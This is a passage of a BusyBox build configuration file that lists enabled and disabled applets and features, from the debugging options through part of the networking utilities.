Debugging Options 72 | # 73 | # CONFIG_DEBUG is not set 74 | # CONFIG_DEBUG_PESSIMIZE is not set 75 | # CONFIG_WERROR is not set 76 | CONFIG_NO_DEBUG_LIB=y 77 | # CONFIG_DMALLOC is not set 78 | # CONFIG_EFENCE is not set 79 | 80 | # 81 | # Installation Options ("make install" behavior) 82 | # 83 | CONFIG_INSTALL_APPLET_SYMLINKS=y 84 | # CONFIG_INSTALL_APPLET_HARDLINKS is not set 85 | # CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS is not set 86 | # CONFIG_INSTALL_APPLET_DONT is not set 87 | # CONFIG_INSTALL_SH_APPLET_SYMLINK is not set 88 | # CONFIG_INSTALL_SH_APPLET_HARDLINK is not set 89 | # CONFIG_INSTALL_SH_APPLET_SCRIPT_WRAPPER is not set 90 | CONFIG_PREFIX="./_install" 91 | 92 | # 93 | # Busybox Library Tuning 94 | # 95 | # CONFIG_FEATURE_SYSTEMD is not set 96 | CONFIG_FEATURE_RTMINMAX=y 97 | CONFIG_PASSWORD_MINLEN=6 98 | CONFIG_MD5_SMALL=1 99 | CONFIG_FEATURE_FAST_TOP=y 100 | # CONFIG_FEATURE_ETC_NETWORKS is not set 101 | CONFIG_FEATURE_USE_TERMIOS=y 102 | CONFIG_FEATURE_EDITING=y 103 | CONFIG_FEATURE_EDITING_MAX_LEN=1024 104 | # CONFIG_FEATURE_EDITING_VI is not set 105 | CONFIG_FEATURE_EDITING_HISTORY=255 106 | CONFIG_FEATURE_EDITING_SAVEHISTORY=y 107 | # CONFIG_FEATURE_EDITING_SAVE_ON_EXIT is not set 108 | CONFIG_FEATURE_REVERSE_SEARCH=y 109 | CONFIG_FEATURE_TAB_COMPLETION=y 110 | # CONFIG_FEATURE_USERNAME_COMPLETION is not set 111 | CONFIG_FEATURE_EDITING_FANCY_PROMPT=y 112 | # CONFIG_FEATURE_EDITING_ASK_TERMINAL is not set 113 | CONFIG_FEATURE_NON_POSIX_CP=y 114 | # CONFIG_FEATURE_VERBOSE_CP_MESSAGE is not set 115 | CONFIG_FEATURE_COPYBUF_KB=4 116 | CONFIG_FEATURE_SKIP_ROOTFS=y 117 | # CONFIG_MONOTONIC_SYSCALL is not set 118 | CONFIG_IOCTL_HEX2STR_ERROR=y 119 | # CONFIG_FEATURE_HWIB is not set 120 | 121 | # 122 | # Applets 123 | # 124 | 125 | # 126 | # Archival Utilities 127 | # 128 | CONFIG_FEATURE_SEAMLESS_XZ=y 129 | CONFIG_FEATURE_SEAMLESS_LZMA=y 130 | CONFIG_FEATURE_SEAMLESS_BZ2=y 131 | CONFIG_FEATURE_SEAMLESS_GZ=y 132 | # CONFIG_FEATURE_SEAMLESS_Z is not set 133 | # CONFIG_AR is not set 134 | # CONFIG_FEATURE_AR_LONG_FILENAMES is not set 135 | # CONFIG_FEATURE_AR_CREATE is not set 136 | CONFIG_BUNZIP2=y 137 | CONFIG_BZIP2=y 138 | CONFIG_CPIO=y 139 | CONFIG_FEATURE_CPIO_O=y 140 | CONFIG_FEATURE_CPIO_P=y 141 | # CONFIG_DPKG is not set 142 | # CONFIG_DPKG_DEB is not set 143 | # CONFIG_FEATURE_DPKG_DEB_EXTRACT_ONLY is not set 144 | CONFIG_GUNZIP=y 145 | CONFIG_GZIP=y 146 | CONFIG_FEATURE_GZIP_LONG_OPTIONS=y 147 | CONFIG_GZIP_FAST=0 148 | CONFIG_LZOP=y 149 | # CONFIG_LZOP_COMPR_HIGH is not set 150 | CONFIG_RPM2CPIO=y 151 | CONFIG_RPM=y 152 | CONFIG_TAR=y 153 | CONFIG_FEATURE_TAR_CREATE=y 154 | CONFIG_FEATURE_TAR_AUTODETECT=y 155 | CONFIG_FEATURE_TAR_FROM=y 156 | CONFIG_FEATURE_TAR_OLDGNU_COMPATIBILITY=y 157 | CONFIG_FEATURE_TAR_OLDSUN_COMPATIBILITY=y 158 | CONFIG_FEATURE_TAR_GNU_EXTENSIONS=y 159 | CONFIG_FEATURE_TAR_LONG_OPTIONS=y 160 | CONFIG_FEATURE_TAR_TO_COMMAND=y 161 | CONFIG_FEATURE_TAR_UNAME_GNAME=y 162 | CONFIG_FEATURE_TAR_NOPRESERVE_TIME=y 163 | # CONFIG_FEATURE_TAR_SELINUX is not set 164 | # CONFIG_UNCOMPRESS is not set 165 | CONFIG_UNLZMA=y 166 | # CONFIG_FEATURE_LZMA_FAST is not set 167 | CONFIG_LZMA=y 168 | CONFIG_UNXZ=y 169 | CONFIG_XZ=y 170 | CONFIG_UNZIP=y 171 | 172 | # 173 | # Coreutils 174 | # 175 | CONFIG_BASENAME=y 176 | CONFIG_CAT=y 177 | CONFIG_DATE=y 178 | CONFIG_FEATURE_DATE_ISOFMT=y 179 | # CONFIG_FEATURE_DATE_NANO is not set 180 | CONFIG_FEATURE_DATE_COMPAT=y 181 | CONFIG_HOSTID=y 182 | CONFIG_ID=y 183 | CONFIG_GROUPS=y 184 | CONFIG_TEST=y 185 | CONFIG_FEATURE_TEST_64=y 186 | CONFIG_TOUCH=y 187 | CONFIG_FEATURE_TOUCH_SUSV3=y 188 | CONFIG_TR=y 189 | CONFIG_FEATURE_TR_CLASSES=y 190 | CONFIG_FEATURE_TR_EQUIV=y 191 | CONFIG_BASE64=y 192 | # CONFIG_WHO is not set 193 | # CONFIG_USERS is not set 194 | CONFIG_CAL=y 195 | CONFIG_CATV=y 196 | CONFIG_CHGRP=y 197 | CONFIG_CHMOD=y 198 | CONFIG_CHOWN=y 199 | CONFIG_FEATURE_CHOWN_LONG_OPTIONS=y 200 | CONFIG_CHROOT=y 201 | CONFIG_CKSUM=y 202 | CONFIG_COMM=y 203 | CONFIG_CP=y 204 | CONFIG_FEATURE_CP_LONG_OPTIONS=y 205 | CONFIG_CUT=y 206 | CONFIG_DD=y 207 | CONFIG_FEATURE_DD_SIGNAL_HANDLING=y 208 | CONFIG_FEATURE_DD_THIRD_STATUS_LINE=y 209 | CONFIG_FEATURE_DD_IBS_OBS=y 210 | CONFIG_DF=y 211 | CONFIG_FEATURE_DF_FANCY=y 212 | CONFIG_DIRNAME=y 213 | CONFIG_DOS2UNIX=y 214 | CONFIG_UNIX2DOS=y 215 | CONFIG_DU=y 216 | CONFIG_FEATURE_DU_DEFAULT_BLOCKSIZE_1K=y 217 | CONFIG_ECHO=y 218 | CONFIG_FEATURE_FANCY_ECHO=y 219 | CONFIG_ENV=y 220 | CONFIG_FEATURE_ENV_LONG_OPTIONS=y 221 | CONFIG_EXPAND=y 222 | CONFIG_FEATURE_EXPAND_LONG_OPTIONS=y 223 | CONFIG_EXPR=y 224 | CONFIG_EXPR_MATH_SUPPORT_64=y 225 | CONFIG_FALSE=y 226 | CONFIG_FOLD=y 227 | CONFIG_FSYNC=y 228 | CONFIG_HEAD=y 229 | CONFIG_FEATURE_FANCY_HEAD=y 230 | CONFIG_INSTALL=y 231 | CONFIG_FEATURE_INSTALL_LONG_OPTIONS=y 232 | CONFIG_LN=y 233 | CONFIG_LOGNAME=y 234 | CONFIG_LS=y 235 | CONFIG_FEATURE_LS_FILETYPES=y 236 | CONFIG_FEATURE_LS_FOLLOWLINKS=y 237 | CONFIG_FEATURE_LS_RECURSIVE=y 238 | CONFIG_FEATURE_LS_SORTFILES=y 239 | CONFIG_FEATURE_LS_TIMESTAMPS=y 240 | CONFIG_FEATURE_LS_USERNAME=y 241 | CONFIG_FEATURE_LS_COLOR=y 242 | CONFIG_FEATURE_LS_COLOR_IS_DEFAULT=y 243 | CONFIG_MD5SUM=y 244 | CONFIG_MKDIR=y 245 | CONFIG_FEATURE_MKDIR_LONG_OPTIONS=y 246 | CONFIG_MKFIFO=y 247 | CONFIG_MKNOD=y 248 | CONFIG_MV=y 249 | CONFIG_FEATURE_MV_LONG_OPTIONS=y 250 | CONFIG_NICE=y 251 | CONFIG_NOHUP=y 252 | CONFIG_OD=y 253 | CONFIG_PRINTENV=y 254 | CONFIG_PRINTF=y 255 | CONFIG_PWD=y 256 | CONFIG_READLINK=y 257 | CONFIG_FEATURE_READLINK_FOLLOW=y 258 | CONFIG_REALPATH=y 259 | CONFIG_RM=y 260 | CONFIG_RMDIR=y 261 | CONFIG_FEATURE_RMDIR_LONG_OPTIONS=y 262 | CONFIG_SEQ=y 263 | CONFIG_SHA1SUM=y 264 | CONFIG_SHA256SUM=y 265 | CONFIG_SHA512SUM=y 266 | CONFIG_SLEEP=y 267 | CONFIG_FEATURE_FANCY_SLEEP=y 268 | CONFIG_FEATURE_FLOAT_SLEEP=y 269 | CONFIG_SORT=y 270 | CONFIG_FEATURE_SORT_BIG=y 271 | CONFIG_SPLIT=y 272 | CONFIG_FEATURE_SPLIT_FANCY=y 273 | CONFIG_STAT=y 274 | CONFIG_FEATURE_STAT_FORMAT=y 275 | CONFIG_STTY=y 276 | CONFIG_SUM=y 277 | CONFIG_SYNC=y 278 | CONFIG_TAC=y 279 | CONFIG_TAIL=y 280 | CONFIG_FEATURE_FANCY_TAIL=y 281 | CONFIG_TEE=y 282 | CONFIG_FEATURE_TEE_USE_BLOCK_IO=y 283 | CONFIG_TRUE=y 284 | CONFIG_TTY=y 285 | CONFIG_UNAME=y 286 | CONFIG_UNEXPAND=y 287 | CONFIG_FEATURE_UNEXPAND_LONG_OPTIONS=y 288 | CONFIG_UNIQ=y 289 | CONFIG_USLEEP=y 290 | CONFIG_UUDECODE=y 291 | CONFIG_UUENCODE=y 292 | CONFIG_WC=y 293 | CONFIG_FEATURE_WC_LARGE=y 294 | CONFIG_WHOAMI=y 295 | CONFIG_YES=y 296 | 297 | # 298 | # Common options for cp and mv 299 | # 300 | CONFIG_FEATURE_PRESERVE_HARDLINKS=y 301 | 302 | # 303 | # Common options for ls, more and telnet 304 | # 305 | CONFIG_FEATURE_AUTOWIDTH=y 306 | 307 | # 308 | # Common options for df, du, ls 309 | # 310 | CONFIG_FEATURE_HUMAN_READABLE=y 311 | 312 | # 313 | # Common options for md5sum, sha1sum, sha256sum, sha512sum 314 | # 315 | CONFIG_FEATURE_MD5_SHA1_SUM_CHECK=y 316 | 317 | # 318 | # Console Utilities 319 | # 320 | CONFIG_CHVT=y 321 | CONFIG_FGCONSOLE=y 322 | CONFIG_CLEAR=y 323 | CONFIG_DEALLOCVT=y 324 | CONFIG_DUMPKMAP=y 325 | CONFIG_KBD_MODE=y 326 | CONFIG_LOADFONT=y 327 | CONFIG_LOADKMAP=y 328 | CONFIG_OPENVT=y 329 | CONFIG_RESET=y 330 | CONFIG_RESIZE=y 331 | CONFIG_FEATURE_RESIZE_PRINT=y 332 | CONFIG_SETCONSOLE=y 333 | CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS=y 334 | CONFIG_SETFONT=y 335 | CONFIG_FEATURE_SETFONT_TEXTUAL_MAP=y 336 | CONFIG_DEFAULT_SETFONT_DIR="" 337 | CONFIG_SETKEYCODES=y 338 | CONFIG_SETLOGCONS=y 339 | CONFIG_SHOWKEY=y 340 | 341 | # 342 | # Common options for loadfont and setfont 343 | # 344 | CONFIG_FEATURE_LOADFONT_PSF2=y 345 | CONFIG_FEATURE_LOADFONT_RAW=y 346 | 347 | # 348 | # Debian Utilities 349 | # 350 | CONFIG_MKTEMP=y 351 | CONFIG_PIPE_PROGRESS=y 352 | CONFIG_RUN_PARTS=y 353 | CONFIG_FEATURE_RUN_PARTS_LONG_OPTIONS=y 354 | CONFIG_FEATURE_RUN_PARTS_FANCY=y 355 | CONFIG_START_STOP_DAEMON=y 356 | CONFIG_FEATURE_START_STOP_DAEMON_FANCY=y 357 | CONFIG_FEATURE_START_STOP_DAEMON_LONG_OPTIONS=y 358 | CONFIG_WHICH=y 359 | 360 | # 361 | # Editors 362 | # 363 | CONFIG_PATCH=y 364 | CONFIG_VI=y 365 | CONFIG_FEATURE_VI_MAX_LEN=4096 366 | # CONFIG_FEATURE_VI_8BIT is not set 367 | CONFIG_FEATURE_VI_COLON=y 368 | CONFIG_FEATURE_VI_YANKMARK=y 369 | CONFIG_FEATURE_VI_SEARCH=y 370 | # CONFIG_FEATURE_VI_REGEX_SEARCH is not set 371 | CONFIG_FEATURE_VI_USE_SIGNALS=y 372 | CONFIG_FEATURE_VI_DOT_CMD=y 373 | CONFIG_FEATURE_VI_READONLY=y 374 | CONFIG_FEATURE_VI_SETOPTS=y 375 | CONFIG_FEATURE_VI_SET=y 376 | CONFIG_FEATURE_VI_WIN_RESIZE=y 377 | CONFIG_FEATURE_VI_ASK_TERMINAL=y 378 | CONFIG_FEATURE_VI_OPTIMIZE_CURSOR=y 379 | CONFIG_AWK=y 380 | CONFIG_FEATURE_AWK_LIBM=y 381 | CONFIG_CMP=y 382 | CONFIG_DIFF=y 383 | CONFIG_FEATURE_DIFF_LONG_OPTIONS=y 384 | CONFIG_FEATURE_DIFF_DIR=y 385 | CONFIG_ED=y 386 | CONFIG_SED=y 387 | CONFIG_FEATURE_ALLOW_EXEC=y 388 | 389 | # 390 | # Finding Utilities 391 | # 392 | CONFIG_FIND=y 393 | CONFIG_FEATURE_FIND_PRINT0=y 394 | CONFIG_FEATURE_FIND_MTIME=y 395 | CONFIG_FEATURE_FIND_MMIN=y 396 | CONFIG_FEATURE_FIND_PERM=y 397 | CONFIG_FEATURE_FIND_TYPE=y 398 | CONFIG_FEATURE_FIND_XDEV=y 399 | CONFIG_FEATURE_FIND_MAXDEPTH=y 400 | CONFIG_FEATURE_FIND_NEWER=y 401 | CONFIG_FEATURE_FIND_INUM=y 402 | CONFIG_FEATURE_FIND_EXEC=y 403 | CONFIG_FEATURE_FIND_USER=y 404 | CONFIG_FEATURE_FIND_GROUP=y 405 | CONFIG_FEATURE_FIND_NOT=y 406 | CONFIG_FEATURE_FIND_DEPTH=y 407 | CONFIG_FEATURE_FIND_PAREN=y 408 | CONFIG_FEATURE_FIND_SIZE=y 409 | CONFIG_FEATURE_FIND_PRUNE=y 410 | CONFIG_FEATURE_FIND_DELETE=y 411 | CONFIG_FEATURE_FIND_PATH=y 412 | CONFIG_FEATURE_FIND_REGEX=y 413 | # CONFIG_FEATURE_FIND_CONTEXT is not set 414 | CONFIG_FEATURE_FIND_LINKS=y 415 | CONFIG_GREP=y 416 | CONFIG_FEATURE_GREP_EGREP_ALIAS=y 417 | CONFIG_FEATURE_GREP_FGREP_ALIAS=y 418 | CONFIG_FEATURE_GREP_CONTEXT=y 419 | CONFIG_XARGS=y 420 | CONFIG_FEATURE_XARGS_SUPPORT_CONFIRMATION=y 421 | CONFIG_FEATURE_XARGS_SUPPORT_QUOTES=y 422 | CONFIG_FEATURE_XARGS_SUPPORT_TERMOPT=y 423 | CONFIG_FEATURE_XARGS_SUPPORT_ZERO_TERM=y 424 | 425 | # 426 | # Init Utilities 427 | # 428 | # CONFIG_BOOTCHARTD is not set 429 | # CONFIG_FEATURE_BOOTCHARTD_BLOATED_HEADER is not set 430 | # CONFIG_FEATURE_BOOTCHARTD_CONFIG_FILE is not set 431 | CONFIG_HALT=y 432 | CONFIG_FEATURE_CALL_TELINIT=y 433 | CONFIG_TELINIT_PATH="/sbin/telinit" 434 | # CONFIG_INIT is not set 435 | # CONFIG_FEATURE_USE_INITTAB is not set 436 | # CONFIG_FEATURE_KILL_REMOVED is not set 437 | CONFIG_FEATURE_KILL_DELAY=0 438 | # CONFIG_FEATURE_INIT_SCTTY is not set 439 | # CONFIG_FEATURE_INIT_SYSLOG is not set 440 | # CONFIG_FEATURE_EXTRA_QUIET is not set 441 | # CONFIG_FEATURE_INIT_COREDUMPS is not set 442 | # CONFIG_FEATURE_INITRD is not set 443 | CONFIG_INIT_TERMINAL_TYPE="" 444 | CONFIG_MESG=y 445 | CONFIG_FEATURE_MESG_ENABLE_ONLY_GROUP=y 446 | 447 | # 448 | # Login/Password Management Utilities 449 | # 450 | CONFIG_ADD_SHELL=y 451 | CONFIG_REMOVE_SHELL=y 452 | CONFIG_FEATURE_SHADOWPASSWDS=y 453 | CONFIG_USE_BB_PWD_GRP=y 454 | CONFIG_USE_BB_SHADOW=y 455 | CONFIG_USE_BB_CRYPT=y 456 | CONFIG_USE_BB_CRYPT_SHA=y 457 | CONFIG_ADDUSER=y 458 | CONFIG_FEATURE_ADDUSER_LONG_OPTIONS=y 459 | # CONFIG_FEATURE_CHECK_NAMES is not set 460 | CONFIG_FIRST_SYSTEM_ID=100 461 | CONFIG_LAST_SYSTEM_ID=999 462 | CONFIG_ADDGROUP=y 463 | CONFIG_FEATURE_ADDGROUP_LONG_OPTIONS=y 464 | CONFIG_FEATURE_ADDUSER_TO_GROUP=y 465 | CONFIG_DELUSER=y 466 | CONFIG_DELGROUP=y 467 | CONFIG_FEATURE_DEL_USER_FROM_GROUP=y 468 | CONFIG_GETTY=y 469 | CONFIG_LOGIN=y 470 | # CONFIG_LOGIN_SESSION_AS_CHILD is not set 471 | # CONFIG_PAM is not set 472 | CONFIG_LOGIN_SCRIPTS=y 473 | CONFIG_FEATURE_NOLOGIN=y 474 | CONFIG_FEATURE_SECURETTY=y 475 | CONFIG_PASSWD=y 476 | CONFIG_FEATURE_PASSWD_WEAK_CHECK=y 477 | CONFIG_CRYPTPW=y 478 | CONFIG_CHPASSWD=y 479 | CONFIG_FEATURE_DEFAULT_PASSWD_ALGO="des" 480 | CONFIG_SU=y 481 | CONFIG_FEATURE_SU_SYSLOG=y 482 | CONFIG_FEATURE_SU_CHECKS_SHELLS=y 483 | CONFIG_SULOGIN=y 484 | CONFIG_VLOCK=y 485 | 486 | # 487 | # Linux Ext2 FS Progs 488 | # 489 | # CONFIG_CHATTR is not set 490 | # CONFIG_FSCK is not set 491 | # CONFIG_LSATTR is not set 492 | # CONFIG_TUNE2FS is not set 493 | 494 | # 495 | # Linux Module Utilities 496 | # 497 | CONFIG_MODINFO=y 498 | CONFIG_MODPROBE_SMALL=y 499 | CONFIG_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE=y 500 | CONFIG_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED=y 501 | # CONFIG_INSMOD is not set 502 | # CONFIG_RMMOD is not set 503 | # CONFIG_LSMOD is not set 504 | # CONFIG_FEATURE_LSMOD_PRETTY_2_6_OUTPUT is not set 505 | # CONFIG_MODPROBE is not set 506 | # CONFIG_FEATURE_MODPROBE_BLACKLIST is not set 507 | # CONFIG_DEPMOD is not set 508 | 509 | # 510 | # Options common to multiple modutils 511 | # 512 | # CONFIG_FEATURE_2_4_MODULES is not set 513 | # CONFIG_FEATURE_INSMOD_TRY_MMAP is not set 514 | # CONFIG_FEATURE_INSMOD_VERSION_CHECKING is not set 515 | # CONFIG_FEATURE_INSMOD_KSYMOOPS_SYMBOLS is not set 516 | # CONFIG_FEATURE_INSMOD_LOADINKMEM is not set 517 | # CONFIG_FEATURE_INSMOD_LOAD_MAP is not set 518 | # CONFIG_FEATURE_INSMOD_LOAD_MAP_FULL is not set 519 | # CONFIG_FEATURE_CHECK_TAINTED_MODULE is not set 520 | # CONFIG_FEATURE_MODUTILS_ALIAS is not set 521 | # CONFIG_FEATURE_MODUTILS_SYMBOLS is not set 522 | CONFIG_DEFAULT_MODULES_DIR="/lib/modules" 523 | CONFIG_DEFAULT_DEPMOD_FILE="modules.dep" 524 | 525 | # 526 | # Linux System Utilities 527 | # 528 | # CONFIG_BLOCKDEV is not set 529 | # CONFIG_MDEV is not set 530 | # CONFIG_FEATURE_MDEV_CONF is not set 531 | # CONFIG_FEATURE_MDEV_RENAME is not set 532 | # CONFIG_FEATURE_MDEV_RENAME_REGEXP is not set 533 | # CONFIG_FEATURE_MDEV_EXEC is not set 534 | # CONFIG_FEATURE_MDEV_LOAD_FIRMWARE is not set 535 | # CONFIG_REV is not set 536 | # CONFIG_ACPID is not set 537 | # CONFIG_FEATURE_ACPID_COMPAT is not set 538 | # CONFIG_BLKID is not set 539 | # CONFIG_FEATURE_BLKID_TYPE is not set 540 | CONFIG_DMESG=y 541 | CONFIG_FEATURE_DMESG_PRETTY=y 542 | CONFIG_FBSET=y 543 | CONFIG_FEATURE_FBSET_FANCY=y 544 | CONFIG_FEATURE_FBSET_READMODE=y 545 | CONFIG_FDFLUSH=y 546 | CONFIG_FDFORMAT=y 547 | CONFIG_FDISK=y 548 | # CONFIG_FDISK_SUPPORT_LARGE_DISKS is not set 549 | CONFIG_FEATURE_FDISK_WRITABLE=y 550 | # CONFIG_FEATURE_AIX_LABEL is not set 551 | # CONFIG_FEATURE_SGI_LABEL is not set 552 | # CONFIG_FEATURE_SUN_LABEL is not set 553 | # CONFIG_FEATURE_OSF_LABEL is not set 554 | # CONFIG_FEATURE_GPT_LABEL is not set 555 | CONFIG_FEATURE_FDISK_ADVANCED=y 556 | CONFIG_FINDFS=y 557 | CONFIG_FLOCK=y 558 | CONFIG_FREERAMDISK=y 559 | CONFIG_FSCK_MINIX=y 560 | # CONFIG_MKFS_EXT2 is not set 561 | # CONFIG_MKFS_MINIX is not set 562 | CONFIG_FEATURE_MINIX2=y 563 | # CONFIG_MKFS_REISER is not set 564 | # CONFIG_MKFS_VFAT is not set 565 | CONFIG_GETOPT=y 566 | CONFIG_FEATURE_GETOPT_LONG=y 567 | CONFIG_HEXDUMP=y 568 | CONFIG_FEATURE_HEXDUMP_REVERSE=y 569 | CONFIG_HD=y 570 | # CONFIG_HWCLOCK is not set 571 | # CONFIG_FEATURE_HWCLOCK_LONG_OPTIONS is not set 572 | # CONFIG_FEATURE_HWCLOCK_ADJTIME_FHS is not set 573 | CONFIG_IPCRM=y 574 | CONFIG_IPCS=y 575 | CONFIG_LOSETUP=y 576 | CONFIG_LSPCI=y 577 | CONFIG_LSUSB=y 578 | CONFIG_MKSWAP=y 579 | CONFIG_FEATURE_MKSWAP_UUID=y 580 | CONFIG_MORE=y 581 | CONFIG_MOUNT=y 582 | CONFIG_FEATURE_MOUNT_FAKE=y 583 | CONFIG_FEATURE_MOUNT_VERBOSE=y 584 | # CONFIG_FEATURE_MOUNT_HELPERS is not set 585 | CONFIG_FEATURE_MOUNT_LABEL=y 586 | # CONFIG_FEATURE_MOUNT_NFS is not set 587 | CONFIG_FEATURE_MOUNT_CIFS=y 588 | CONFIG_FEATURE_MOUNT_FLAGS=y 589 | CONFIG_FEATURE_MOUNT_FSTAB=y 590 | CONFIG_PIVOT_ROOT=y 591 | CONFIG_RDATE=y 592 | CONFIG_RDEV=y 593 | CONFIG_READPROFILE=y 594 | CONFIG_RTCWAKE=y 595 | CONFIG_SCRIPT=y 596 | CONFIG_SCRIPTREPLAY=y 597 | # CONFIG_SETARCH is not set 598 | # CONFIG_SWAPONOFF is not set 599 | # CONFIG_FEATURE_SWAPON_PRI is not set 600 | CONFIG_SWITCH_ROOT=y 601 | CONFIG_UMOUNT=y 602 | CONFIG_FEATURE_UMOUNT_ALL=y 603 | 604 | # 605 | # Common options for mount/umount 606 | # 607 | CONFIG_FEATURE_MOUNT_LOOP=y 608 | CONFIG_FEATURE_MOUNT_LOOP_CREATE=y 609 | # CONFIG_FEATURE_MTAB_SUPPORT is not set 610 | CONFIG_VOLUMEID=y 611 | 612 | # 613 | # Filesystem/Volume identification 614 | # 615 | CONFIG_FEATURE_VOLUMEID_EXT=y 616 | CONFIG_FEATURE_VOLUMEID_BTRFS=y 617 | CONFIG_FEATURE_VOLUMEID_REISERFS=y 618 | CONFIG_FEATURE_VOLUMEID_FAT=y 619 | CONFIG_FEATURE_VOLUMEID_HFS=y 620 | CONFIG_FEATURE_VOLUMEID_JFS=y 621 | CONFIG_FEATURE_VOLUMEID_XFS=y 622 | CONFIG_FEATURE_VOLUMEID_NTFS=y 623 | CONFIG_FEATURE_VOLUMEID_ISO9660=y 624 | CONFIG_FEATURE_VOLUMEID_UDF=y 625 | CONFIG_FEATURE_VOLUMEID_LUKS=y 626 | CONFIG_FEATURE_VOLUMEID_LINUXSWAP=y 627 | CONFIG_FEATURE_VOLUMEID_CRAMFS=y 628 | CONFIG_FEATURE_VOLUMEID_ROMFS=y 629 | CONFIG_FEATURE_VOLUMEID_SYSV=y 630 | CONFIG_FEATURE_VOLUMEID_OCFS2=y 631 | CONFIG_FEATURE_VOLUMEID_LINUXRAID=y 632 | 633 | # 634 | # Miscellaneous Utilities 635 | # 636 | # CONFIG_CONSPY is not set 637 | CONFIG_LESS=y 638 | CONFIG_FEATURE_LESS_MAXLINES=9999999 639 | CONFIG_FEATURE_LESS_BRACKETS=y 640 | CONFIG_FEATURE_LESS_FLAGS=y 641 | CONFIG_FEATURE_LESS_MARKS=y 642 | CONFIG_FEATURE_LESS_REGEXP=y 643 | CONFIG_FEATURE_LESS_WINCH=y 644 | CONFIG_FEATURE_LESS_ASK_TERMINAL=y 645 | CONFIG_FEATURE_LESS_DASHCMD=y 646 | CONFIG_FEATURE_LESS_LINENUMS=y 647 | # CONFIG_NANDWRITE is not set 648 | # CONFIG_NANDDUMP is not set 649 | # CONFIG_SETSERIAL is not set 650 | # CONFIG_UBIATTACH is not set 651 | # CONFIG_UBIDETACH is not set 652 | # CONFIG_UBIMKVOL is not set 653 | # CONFIG_UBIRMVOL is not set 654 | # CONFIG_UBIRSVOL is not set 655 | # CONFIG_UBIUPDATEVOL is not set 656 | # CONFIG_ADJTIMEX is not set 657 | # CONFIG_BBCONFIG is not set 658 | # CONFIG_FEATURE_COMPRESS_BBCONFIG is not set 659 | # CONFIG_BEEP is not set 660 | CONFIG_FEATURE_BEEP_FREQ=0 661 | CONFIG_FEATURE_BEEP_LENGTH_MS=0 662 | # CONFIG_CHAT is not set 663 | # CONFIG_FEATURE_CHAT_NOFAIL is not set 664 | # CONFIG_FEATURE_CHAT_TTY_HIFI is not set 665 | # CONFIG_FEATURE_CHAT_IMPLICIT_CR is not set 666 | # CONFIG_FEATURE_CHAT_SWALLOW_OPTS is not set 667 | # CONFIG_FEATURE_CHAT_SEND_ESCAPES is not set 668 | # CONFIG_FEATURE_CHAT_VAR_ABORT_LEN is not set 669 | # CONFIG_FEATURE_CHAT_CLR_ABORT is not set 670 | # CONFIG_CHRT is not set 671 | # CONFIG_CROND is not set 672 | # CONFIG_FEATURE_CROND_D is not set 673 | # CONFIG_FEATURE_CROND_CALL_SENDMAIL is not set 674 | CONFIG_FEATURE_CROND_DIR="" 675 | # CONFIG_CRONTAB is not set 676 | # CONFIG_DC is not set 677 | # CONFIG_FEATURE_DC_LIBM is not set 678 | # CONFIG_DEVFSD is not set 679 | # CONFIG_DEVFSD_MODLOAD is not set 680 | # CONFIG_DEVFSD_FG_NP is not set 681 | # CONFIG_DEVFSD_VERBOSE is not set 682 | # CONFIG_FEATURE_DEVFS is not set 683 | # CONFIG_DEVMEM is not set 684 | # CONFIG_EJECT is not set 685 | # CONFIG_FEATURE_EJECT_SCSI is not set 686 | # CONFIG_FBSPLASH is not set 687 | # CONFIG_FLASHCP is not set 688 | # CONFIG_FLASH_LOCK is not set 689 | # CONFIG_FLASH_UNLOCK is not set 690 | # CONFIG_FLASH_ERASEALL is not set 691 | # CONFIG_IONICE is not set 692 | # CONFIG_INOTIFYD is not set 693 | # CONFIG_LAST is not set 694 | # CONFIG_FEATURE_LAST_SMALL is not set 695 | # CONFIG_FEATURE_LAST_FANCY is not set 696 | # CONFIG_HDPARM is not set 697 | # CONFIG_FEATURE_HDPARM_GET_IDENTITY is not set 698 | # CONFIG_FEATURE_HDPARM_HDIO_SCAN_HWIF is not set 699 | # CONFIG_FEATURE_HDPARM_HDIO_UNREGISTER_HWIF is not set 700 | # CONFIG_FEATURE_HDPARM_HDIO_DRIVE_RESET is not set 701 | # CONFIG_FEATURE_HDPARM_HDIO_TRISTATE_HWIF is not set 702 | # CONFIG_FEATURE_HDPARM_HDIO_GETSET_DMA is not set 703 | # CONFIG_MAKEDEVS is not set 704 | # CONFIG_FEATURE_MAKEDEVS_LEAF is not set 705 | # CONFIG_FEATURE_MAKEDEVS_TABLE is not set 706 | # CONFIG_MAN is not set 707 | # CONFIG_MICROCOM is not set 708 | # CONFIG_MOUNTPOINT is not set 709 | # CONFIG_MT is not set 710 | # CONFIG_RAIDAUTORUN is not set 711 | # CONFIG_READAHEAD is not set 712 | # CONFIG_RFKILL is not set 713 | # CONFIG_RUNLEVEL is not set 714 | # CONFIG_RX is not set 715 | # CONFIG_SETSID is not set 716 | CONFIG_STRINGS=y 717 | # CONFIG_TASKSET is not set 718 | # CONFIG_FEATURE_TASKSET_FANCY is not set 719 | CONFIG_TIME=y 720 | # CONFIG_TIMEOUT is not set 721 | # CONFIG_TTYSIZE is not set 722 | # CONFIG_VOLNAME is not set 723 | # CONFIG_WALL is not set 724 | CONFIG_WATCHDOG=y 725 | 726 | # 727 | # Networking Utilities 728 | # 729 | CONFIG_NAMEIF=y 730 | CONFIG_FEATURE_NAMEIF_EXTENDED=y 731 | # CONFIG_NBDCLIENT is not set 732 | CONFIG_NC=y 733 | CONFIG_NC_SERVER=y 734 | CONFIG_NC_EXTRA=y 735 | # CONFIG_NC_110_COMPAT is not set 736 | CONFIG_PING=y 737 | # CONFIG_PING6 is not set 738 | CONFIG_FEATURE_FANCY_PING=y 739 | CONFIG_WHOIS=y 740 | # CONFIG_FEATURE_IPV6 is not set 741 | # CONFIG_FEATURE_UNIX_LOCAL is not set 742 | # CONFIG_FEATURE_PREFER_IPV4_ADDRESS is not set 743 | # CONFIG_VERBOSE_RESOLUTION_ERRORS is not set 744 | CONFIG_ARP=y 745 | CONFIG_ARPING=y 746 | CONFIG_BRCTL=y 747 | CONFIG_FEATURE_BRCTL_FANCY=y 748 | CONFIG_FEATURE_BRCTL_SHOW=y 749 | CONFIG_DNSD=y 750 | CONFIG_ETHER_WAKE=y 751 | CONFIG_FAKEIDENTD=y 752 | # CONFIG_FTPD is not set 753 | # CONFIG_FEATURE_FTP_WRITE is not set 754 | # 